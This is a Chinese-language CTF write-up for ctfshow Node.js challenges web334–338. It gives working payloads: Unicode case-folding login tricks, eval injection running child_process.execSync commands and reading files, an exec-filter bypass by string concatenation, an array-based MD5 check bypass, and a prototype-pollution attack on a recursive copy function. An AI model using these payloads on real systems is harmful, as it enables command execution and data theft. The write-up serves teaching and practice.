web334
下载附件,有两个文件
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
所以用ctfſhow 123456登录就可以出flag了
web335
查看源代码需要进行GET传参,传入js代码,执行命令
Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。
/?eval=require('child_process').execSync('ls').toString()
/?eval=require('child_process').execSync('cat fl00g.txt').toString()
web336
发现与上一题类似,但是这里用不了execSync
__filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。 如果在模块中,返回的值是模块文件的路径。
__dirname 表示当前执行脚本所在的目录。
payload:
/?eval=__filename
/?eval=require('fs').readFileSync('/app/routes/index.js','utf-8') //过滤exec|load
/?eval=require('child_process')['exe'%2B'cSync']('ls') //+号绕过
web337
这里需要a和b长度相同,内容不同但md5值相同
利用数组绕过,js中两个数组是不能直接用===判断相等的
?a[]=1&b[]=2
注意一下node.js中的拼接问题:
console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6
像['a']+flag==='a'+flag
这样的,比如flag是flag{345}
,那么最后得到的都是aflag[345}
,因此这个也肯定成立:md5(['a']+flag)===md5('a'+flag)
,同时也满足a!==b
:
?a[a]=1&b[b]=1也可以绕过
web338
下载源码
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
在源码找到输出flag的条件
secert.ctfshow==='36dboy'
body的内容可以解析json,同时存在 utils.copy(user,req.body);,我们根据这个找到common.js
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
在这里可以借user给 Object 添加"__proto__"属性为{"ctfshow":"36dboy"},修改object的原型对象,构造原型链污染。 使得object的实例secert在用到ctfshow的属性时,查找 object.__proto__ 找到36dboy 使 if(secert.ctfshow==='36dboy')返回ture